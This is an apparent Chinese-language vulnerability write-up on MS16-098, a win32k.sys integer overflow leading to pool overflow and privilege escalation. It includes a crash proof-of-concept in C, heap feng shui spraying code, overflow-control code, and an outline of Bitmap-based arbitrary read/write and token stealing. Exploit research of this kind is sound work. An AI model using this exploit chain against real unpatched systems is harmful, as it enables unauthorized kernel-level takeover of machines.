MS16-098-整数溢出与pool feng shui
字数 1271 2025-08-26 22:11:39
MS16-098漏洞分析与利用技术详解
漏洞概述
MS16-098是Windows图形设备接口(GDI)中的一个整数溢出漏洞,最终导致池溢出。该漏洞存在于win32k.sys的bFill函数中,通过精心构造的输入可以触发整数溢出,进而引发池内存破坏,最终实现权限提升。
漏洞成因
关键漏洞点
漏洞的核心在于bFill函数中的整数溢出问题:
lea ecx, [rax+rax*2] ; rax*3的结果存入ecx
这里rax是用户可控的值,当rax足够大时(如0x55555557),rax*3的结果会溢出32位寄存器,导致ecx只保留低32位结果(0x5)。随后PALLOCMEM2分配空间时只分配(0x5 << 4) = 0x50字节的空间。
溢出机制
bConstructGET函数会根据条件将point信息复制到申请的空间中,而此时分配的空间(0x50)远小于实际需要的大小,造成缓冲区溢出。在释放时会检测内存池中相邻块的头部,而溢出覆盖了相邻块头部导致crash。
漏洞验证
POC代码分析
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
int main(int argc, char *argv[]) {
static POINT points[0x3fe01];
points[0].x = 0x22;
points[0].y = 0x33;
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
BeginPath(hMemDC);
for(int j = 0; j < 0x156; j++) {
PolylineTo(hMemDC, points, 0x3FE01);
}
EndPath(hMemDC);
FillPath(hMemDC);
return 0;
}
崩溃分析
运行POC后系统崩溃,调用栈显示在win32k!bFill+0x63e处free pool时引起crash:
00 fffff800`84be60ba : 00000000`00000000 00000000`00000000 ffffd001`893163a0 fffff800`84a2b06c : nt!DbgBreakPointWithStatus
01 fffff800`84be59cb : 00000000`00000003 00000000`00000020 fffff800`84b5f980 00000000`00000019 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`84b51aa4 : fffff901`401ef2e0 00000000`00000000 00000000`00000000 00000001`00000000 : nt!KeBugCheck2+0x8ab
03 fffff800`84ca605e : 00000000`00000019 00000000`00000020 fffff901`401ef2e0 fffff901`401ef340 : nt!KeBugCheckEx+0x104
04 fffff960`00245e7e : ffffd001`89317360 fffff901`401ef2f0 00000000`00000001 00000000`00000006 : nt!ExDeferredFreePool+0x7ee
05 fffff960`002137e1 : fffff900`00002000 00000000`00000080 00000000`00000001 ffffd001`849a4c10 : win32k!bFill+0x63e
利用技术
利用思路
- 整数溢出导致池分配过小
- 缓冲区溢出覆盖相邻Bitmap对象
- 修改Bitmap对象的sizlBitmap字段扩大读写范围
- 通过Bitmap对象实现任意地址读写
- 窃取system token完成提权
关键数据结构
SURFOBJ结构(Bitmap对象的核心结构):
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
内存布局策略
目标内存布局:
| region | Bitmap0 | PALLOCMEM |
| region | Bitmap1 | region |
关键点:
- 将PALLOCMEM分配的对象放置到页尾部(避免检测相邻块头部)
- 在bFill执行前预先在页尾部制造空洞
- 通过堆喷控制Bitmap对象位置
堆风水实现
void fengshui() {
HBITMAP bmp;
for(int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL);
INT64 bmpAddr = getBitMapAddr(bmp);
bitmaps[k] = bmp;
}
// 创建加速表对象占位
HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for(INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
// 释放并重新布局
for(int k = 0; k < 5000; k++) DeleteObject(bitmaps[k]);
for(int k = 0; k < 5000; k++) CreateEllipticRgn(0x79, 0x79, 1, 1);
for(int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL);
bitmaps[k] = bmp;
}
// 填补内存空洞
for(int k = 0; k < 1700; k++) AllocateClipBoard2(0x30);
// 释放加速表制造空洞
for(int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
}
溢出控制技术
通过精心构造的points数组控制溢出:
static POINT points[0x3fe01];
for(int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20;
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
for(int j = 0; j < 0x156; j++) {
if(j > 0x1F && points[2].y != 0x5a1f)
points[2].y = 0x5a1f;
PolylineTo(hMemDC, points, 0x3FE01);
}
关键点:
- 计算PALLOCMEM2到Bitmap0.sizlBitmap的偏移(0xc58)
- 控制AddEdgeToGET函数的点添加逻辑
- 通过points[2].y控制点的添加条件
任意地址读写实现
- 溢出修改Bitmap0的sizlBitmap为0xffffffff
- 通过Bitmap0读写Bitmap1的SURFOBJ结构
- 修改Bitmap1的pvScan0指向目标地址
- 使用SetBitmapBits/GetBitmapBits进行任意读写
技术难点与解决方案
-
池头部破坏导致崩溃:
- 解决方案:将溢出对象放置在页尾部,避免检测下一页的头部
-
溢出数据不可控:
- 解决方案:通过精心构造points数组控制溢出内容和位置
-
精确内存布局:
- 解决方案:使用堆风水技术精确控制对象位置
-
利用稳定性:
- 解决方案:修复被破坏的头部结构,维持系统稳定运行
总结
MS16-098漏洞展示了从整数溢出到完整权限提升的完整利用链,关键技术点包括:
- 整数溢出转换为缓冲区溢出
- 精确的堆内存布局控制
- Bitmap对象在利用中的关键作用
- 任意地址读写技术的实现
- 通过修改token完成提权
该漏洞利用过程复杂但思路清晰,是研究Windows内核漏洞利用的经典案例。